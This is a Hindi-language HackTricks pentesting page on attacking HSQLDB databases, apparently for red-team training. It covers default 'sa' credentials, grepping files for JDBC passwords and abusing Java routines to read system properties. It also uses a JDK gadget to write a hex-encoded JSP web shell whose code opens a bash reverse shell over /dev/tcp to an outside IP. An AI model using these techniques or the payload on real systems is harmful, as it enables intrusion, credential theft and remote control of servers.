tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
मूल जानकारी
HSQLDB (HyperSQL DataBase) जावा में लिखी गई प्रमुख SQL संबंधपरक डेटाबेस प्रणाली है। यह एक छोटा, तेज़ मल्टीथ्रेडेड और लेनदेनात्मक डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित तालिकाएँ होती हैं और यह एम्बेडेड और सर्वर मोड का समर्थन करता है।
डिफ़ॉल्ट पोर्ट: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
जानकारी
डिफ़ॉल्ट सेटिंग्स
ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही है या लोकलहोस्ट से बंधी हुई है। यदि आपने इसे पाया है, तो आपने संभवतः किसी अन्य सेवा का शोषण किया है और विशेषाधिकार बढ़ाने की कोशिश कर रहे हैं।
डिफ़ॉल्ट क्रेडेंशियल आमतौर पर sa
होते हैं जिनका पासवर्ड खाली होता है।
यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल के लिए खोजें।
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
ध्यान दें कि डेटाबेस का नाम ध्यान से नोट करें - आपको इसे कनेक्ट करने के लिए आवश्यकता होगी।
जानकारी इकट्ठा करना
DB इंस्टेंस से कनेक्ट करें HSQLDB डाउनलोड करके और hsqldb/lib/hsqldb.jar
को निकालें। GUI ऐप (eww) को java -jar hsqldb.jar
का उपयोग करके चलाएं और खोजे गए/कमजोर क्रेडेंशियल्स का उपयोग करके इंस्टेंस से कनेक्ट करें।
ध्यान दें कि कनेक्शन URL एक दूरस्थ सिस्टम के लिए इस तरह दिखेगा: jdbc:hsqldb:hsql://ip/DBNAME
।
तरकीबें
जावा भाषा रूटीन
हम HSQLDB से जावा भाषा रूटीन का उपयोग करके एक जावा क्लास के स्थिर तरीकों को कॉल कर सकते हैं। ध्यान दें कि कॉल की गई क्लास को एप्लिकेशन के क्लासपाथ में होना चाहिए।
JRTs functions
या procedures
हो सकते हैं। यदि जावा विधि एक या अधिक SQL-संगत प्राइमिटिव वेरिएबल लौटाती है, तो SQL स्टेटमेंट के माध्यम से फ़ंक्शंस को कॉल किया जा सकता है। इन्हें VALUES
स्टेटमेंट का उपयोग करके लागू किया जाता है।
यदि जावा विधि जिसे हम कॉल करना चाहते हैं, void लौटाती है, तो हमें CALL
स्टेटमेंट के साथ लागू की गई एक प्रक्रिया का उपयोग करना होगा।
जावा सिस्टम प्रॉपर्टीज़ पढ़ना
फंक्शन बनाएं:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
कार्यवाही फ़ंक्शन:
VALUES(getsystemproperty('user.name'))
आप यहाँ सिस्टम प्रॉपर्टीज़ की सूची पा सकते हैं।
फ़ाइल में सामग्री लिखें
आप com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है (जो एप्लिकेशन के क्लास पाथ में ऑटो लोड होता है) कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-कोडेड आइटम लिखने के लिए। 1024 बाइट्स का अधिकतम आकार नोट करें।
प्रक्रिया बनाएं:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
प्रक्रिया निष्पादित करें:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।